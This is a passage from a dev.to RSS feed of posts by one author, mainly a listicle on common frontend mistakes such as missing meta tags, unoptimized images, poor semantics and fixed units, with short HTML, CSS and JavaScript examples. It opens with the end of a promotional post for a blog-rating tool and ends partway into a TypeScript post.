&lt;li&gt;emoji frequency&lt;/li&gt;
&lt;li&gt;repeating words&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the future, we plan to add more. &lt;/p&gt;




&lt;h3&gt;
  
  
  📖 Documentation?
&lt;/h3&gt;

&lt;p&gt;For official documentation click &lt;a href="https://docs.dev-to-rater.xyz" rel="noopener noreferrer"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;In our documentation you can find the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Core logics&lt;/strong&gt; explained and linked to code in the repository&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Version support&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FAQ&lt;/strong&gt;
Note: If you want to contribute to it, feel free to do it :)&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  What about versions?
&lt;/h3&gt;

&lt;p&gt;For version support click &lt;a href="https://docs.dev-to-rater.xyz/versions/v2/global/versions" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;br&gt;
Currently, the latest version is &lt;code&gt;v2&lt;/code&gt;. &lt;/p&gt;




&lt;h3&gt;
  
  
  Reaction stats? Now available.
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab978uejxom5awrzyp95.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab978uejxom5awrzyp95.png" alt="Dev.to Rater - Analyze my blog posts" width="759" height="197"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  🤝 Contributing
&lt;/h3&gt;

&lt;p&gt;If you’re passionate about contributing to the open-source projects, feel free to contribute. We are open for contributors.&lt;/p&gt;

&lt;h2&gt;
  
  
  Guess what?
&lt;/h2&gt;

&lt;p&gt;This blog post was scanned using our tool 🎯&lt;/p&gt;

&lt;p&gt;It is &lt;strong&gt;9.80&lt;/strong&gt;. It needs your reactions to be 10 out of 10. 💖&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzdwswhyayjl0in7k85e5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzdwswhyayjl0in7k85e5.png" alt="Dev.to Rater" width="800" height="552"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  📢 Will you use this tool?
&lt;/h2&gt;

&lt;p&gt;Please, tell us in the comments down below! 💬&lt;/p&gt;

&lt;p&gt;Feel free to share your blog posts and their rating! &lt;/p&gt;

&lt;p&gt;Don’t forget to &lt;a href="https://github.com/perisicnikola37/dev-to-rater" rel="noopener noreferrer"&gt;leave a star&lt;/a&gt; for support ⭐&lt;/p&gt;

&lt;p&gt;P.S. We plan to support Medium also in the future 😀&lt;/p&gt;




&lt;p&gt;Thanks for reading,&lt;br&gt;
&lt;strong&gt;Dev.to&lt;/strong&gt;™&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.producthunt.com/posts/dev-to-rater-2?embed=true&amp;amp;utm_source=badge-featured&amp;amp;utm_medium=badge&amp;amp;utm_souce=badge-dev-to-rater-2" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fapi.producthunt.com%2Fwidgets%2Fembed-image%2Fv1%2Ffeatured.svg%3Fpost_id%3D873037%26theme%3Dlight%26t%3D1739440944617" alt="Dev.to Rater - Analyze blog posts to uncover trends and metrics | Product Hunt" width="250" height="54"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>react</category>
      <category>programming</category>
    </item>
    <item>
      <title>The biggest frontend mistakes you can do</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Sat, 01 Feb 2025 11:48:27 +0000</pubDate>
      <link>https://dev.to/dev-to-rater-org/the-biggest-frontend-mistakes-you-can-do-bng</link>
      <guid>https://dev.to/dev-to-rater-org/the-biggest-frontend-mistakes-you-can-do-bng</guid>
      <description>&lt;p&gt;Hello, fellow devs!&lt;/p&gt;

&lt;p&gt;Frontend development can be very interesting because we can immediately see the results of our work. However, during this process, we often forget very important concepts and we make mistakes.&lt;/p&gt;

&lt;p&gt;In this article, I'll highlight some of these mistakes and show you how to avoid them.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Ignoring Meta tags and Open Graph
&lt;/h3&gt;

&lt;p&gt;These tags are essential for controlling how your content appears when shared on social media. Without them, your links &lt;u&gt;may not display &lt;/u&gt;as intended, which can hurt your engagement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Missing &lt;code&gt;viewport&lt;/code&gt; meta tag&lt;/strong&gt; - This tag ensures that your site is responsive and adapts to different screen sizes&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Missing &lt;code&gt;description&lt;/code&gt; and &lt;code&gt;keywords&lt;/code&gt; meta tags&lt;/strong&gt; - These tags lay a role in SEO and help search engines understand what your page is about&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Good example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Basic Open Graph tags --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:title"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"Your Page Title Here"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:description"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"A brief description of your content."&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:image"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"URL to an image that represents your content"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:url"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"URL of the page"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:type"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"website"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Optional: Additional Open Graph tags for more control --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:site_name"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"Your Website Name"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:locale"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"en_US"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Twitter Card tags (for better Twitter integration) --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:card"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"summary_large_image"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:title"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"Your Page Title Here"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:description"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"A brief description of your content."&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:image"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"URL to an image for Twitter"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. Ignoring performance optimization
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Not optimizing images&lt;/strong&gt; - It's important to compress your images and use formats like &lt;code&gt;WebP&lt;/code&gt; or &lt;code&gt;JPEG&lt;/code&gt; instead of &lt;code&gt;PNG&lt;/code&gt;s for better performance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not minifying CSS and JavaScript files&lt;/strong&gt; - There's nothing worse than seeing a CSS file with over 1,000 lines. Please, minify these. Bonus tip: Use &lt;code&gt;Sass&lt;/code&gt; for more efficient styles. For minifying, you can use this free &lt;a href="https://www.toptal.com/developers/cssminifier" rel="noopener noreferrer"&gt;tool&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Loading too many unnecessary libraries&lt;/strong&gt; - I often see people loading too much libraries when many functionalities can be custom build. Remember, when you import library you are not importing only it's code, you are importing a &lt;u&gt;greater responsibility&lt;/u&gt; because every library you import has the possibility that it will go &lt;u&gt;maintenance&lt;/u&gt; at some point. You also run the risk of a bug and that your UI will stop working and sure you don't want that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not using lazy loading for images and components&lt;/strong&gt; - Not using mentioned will block UI, and your website can seem slow. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not using lazy imports&lt;/strong&gt; - Use lazy imports for better optimizations. This will make separate chunks for your imports and optimize build times by storing chunks in cache. This &lt;a href="https://dev.to/perisicnikola37/you-are-using-react-lazy-imports-the-wrong-way-odn"&gt;blog post&lt;/a&gt; is a good example of 75% optimization.&lt;/p&gt;

&lt;h4&gt;
  
  
  Additional tips:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use image optimization tools like &lt;code&gt;TinyPNG&lt;/code&gt; or &lt;code&gt;GitHub Image Bot&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Minify assets using build tools like &lt;code&gt;Webpack&lt;/code&gt; or &lt;code&gt;Parcel&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Implement lazy loading with the &lt;code&gt;loading="lazy"&lt;/code&gt; attribute&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3. Poor &lt;strong&gt;HTML Structure and Semantics&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Unfortunately, many frontend developer ignore proper HTML semantics, leading to accessibility and SEO issues. Common mistakes include:&lt;/p&gt;

&lt;p&gt;Using &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s for everything instead of tags like &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Missing &lt;code&gt;alt&lt;/code&gt; and &lt;code&gt;title&lt;/code&gt; attributes on images&lt;/p&gt;

&lt;p&gt;Using heading tags (&lt;code&gt;&amp;lt;h1&amp;gt; - &amp;lt;h6&amp;gt;&lt;/code&gt;) inconsistently&lt;/p&gt;

&lt;h4&gt;
  
  
  Additional tips:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Always provide meaningful alt text for images&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Structure headings properly to maintain a logical HTML structure&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use &lt;code&gt;W3C Markup Validation Service&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  4. Using fixed units and bad responsive design
&lt;/h3&gt;

&lt;p&gt;Hardcoding pixel values for height, width and etc.&lt;/p&gt;

&lt;p&gt;Not testing on different screen sizes and devices&lt;/p&gt;

&lt;h4&gt;
  
  
  Additional tips:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use relative units like &lt;code&gt;en&lt;/code&gt;, &lt;code&gt;rem&lt;/code&gt; and &lt;code&gt;%&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use responsive design techniques like &lt;code&gt;Flexbox&lt;/code&gt; and &lt;code&gt;CSS Grid&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use &lt;a href="https://chromewebstore.google.com/detail/mobile-simulator-responsi/ckejmhbmlajgoklhgbapkiccekfoccmk" rel="noopener noreferrer"&gt;Mobile simulator extension&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  5. Relying too much on &lt;code&gt;!important&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Using &lt;code&gt;important&lt;/code&gt; too much can lead to unnecessary conflicts. Use this carefully and not too much.&lt;/p&gt;




&lt;h3&gt;
  
  
  6. Not handling cross-browser compatibility
&lt;/h3&gt;

&lt;p&gt;Using CSS and JavaScript features that aren’t supported in all browsers&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.element&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="py"&gt;backdrop-filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;blur&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c"&gt;/* Not supported in older versions of Edge */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="k"&gt;@supports&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;backdrop-filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;blur&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nc"&gt;.element&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="py"&gt;backdrop-filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;blur&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.element&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rgba&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c"&gt;/* Fallback */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  7. Not using &lt;a href="https://www.w3schools.com/html/html_entities.asp" rel="noopener noreferrer"&gt;HTML Entities&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Please don't copy and paste symbols like this: ™, ℠, ® and ©.&lt;/p&gt;

&lt;p&gt;Instead use these:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="ni"&gt;&amp;amp;nbsp;&lt;/span&gt; -&amp;gt; for blank space
&lt;span class="ni"&gt;&amp;amp;reg;&lt;/span&gt; -&amp;gt; for trademark
&lt;span class="ni"&gt;&amp;amp;copy;&lt;/span&gt; -&amp;gt; for copyright
and etc.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  8. Not using current year function
&lt;/h3&gt;

&lt;p&gt;Instead of this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;2024 ©&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"year"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;copy;&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;year&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;getFullYear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By using JS, you ensure the year will always be the latest one.&lt;/p&gt;




&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Keep these tips in mind as you continue your development journey, and remember: testing, optimizing, and following best practices will always pay off in the long run!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If I forgot something or you liked the article, please leave a comment down below&lt;/strong&gt; 💬&lt;/p&gt;




&lt;h3&gt;
  
  
  Check yourself! Checklist ✅
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;viewport&lt;/code&gt; meta tag for responsive design&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;description&lt;/code&gt; and &lt;code&gt;keywords&lt;/code&gt; meta tags for SEO&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Open Graph&lt;/code&gt; meta tags&lt;/li&gt;
&lt;li&gt;&lt;code&gt;og:title&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;og:description&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;og:image&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;og:url&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;og:type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;twitter:card&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;twitter:title&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;twitter:description&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;twitter:image&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;compressed images&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WebP&lt;/code&gt; and/or &lt;code&gt;JPEG&lt;/code&gt; images&lt;/li&gt;
&lt;li&gt;lazy loading&lt;/li&gt;
&lt;li&gt;lazy imports&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;alt&lt;/code&gt; and &lt;code&gt;title&lt;/code&gt; attributes on images&lt;/li&gt;
&lt;li&gt;HTML semantics and structure&lt;/li&gt;
&lt;li&gt;&lt;code&gt;W3C Markup Validation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;using relative units like &lt;code&gt;em&lt;/code&gt;, &lt;code&gt;rem&lt;/code&gt; and &lt;code&gt;%&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;avoiding using &lt;code&gt;!import&lt;/code&gt; too much&lt;/li&gt;
&lt;li&gt;ussing &lt;code&gt;@supports&lt;/code&gt; for unsupported features&lt;/li&gt;
&lt;li&gt;minified assets&lt;/li&gt;
&lt;li&gt;not loaded too much libraries&lt;/li&gt;
&lt;li&gt;using HTML entites for things like © ©&lt;/li&gt;
&lt;li&gt;using function for current year&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Support us on Product Hunt:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.producthunt.com/posts/dev-to-rater-2?embed=true&amp;amp;utm_source=badge-featured&amp;amp;utm_medium=badge&amp;amp;utm_souce=badge-dev-to-rater-2" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fapi.producthunt.com%2Fwidgets%2Fembed-image%2Fv1%2Ffeatured.svg%3Fpost_id%3D873037%26theme%3Dlight%26t%3D1739525139145" alt="Dev.to Rater - Analyze blog posts to uncover trends and metrics | Product Hunt" width="250" height="54"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-rater.xyz/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FbJvBsD5Y%2Fcroppedz.png" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>css</category>
    </item>
    <item>
      <title>Don't use TypeScript types like this. Use Map Pattern instead</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Wed, 29 Jan 2025 07:35:36 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/dont-use-typescript-types-like-this-use-map-pattern-instead-ki3</link>
      <guid>https://dev.to/perisicnikola37/dont-use-typescript-types-like-this-use-map-pattern-instead-ki3</guid>
      <description>&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;While working on a real-life project, I came across a particular TypeScript implementation that was &lt;em&gt;functional&lt;/em&gt; but &lt;u&gt;lacked flexibility&lt;/u&gt;. In this blog, I'll walk you through the problem I encountered, and how I improved the design by making a more dynamic  approach using the &lt;strong&gt;Map Pattern&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;The problem&lt;/li&gt;
&lt;li&gt;The issue with this approach&lt;/li&gt;
&lt;li&gt;Solution&lt;/li&gt;
&lt;li&gt;Clean code&lt;/li&gt;
&lt;li&gt;More secure solution&lt;/li&gt;
&lt;li&gt;Visual representation&lt;/li&gt;
&lt;li&gt;Conslusion&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The problem
&lt;/h2&gt;

&lt;p&gt;I came across this TypeScript type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// FinalResponse.ts&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Reaction&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;FinalResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;totalScore&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;headingsPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;sentencesPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;charactersPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;wordsPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;headings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;
  &lt;span class="na"&gt;exceeded&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;exceededSentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
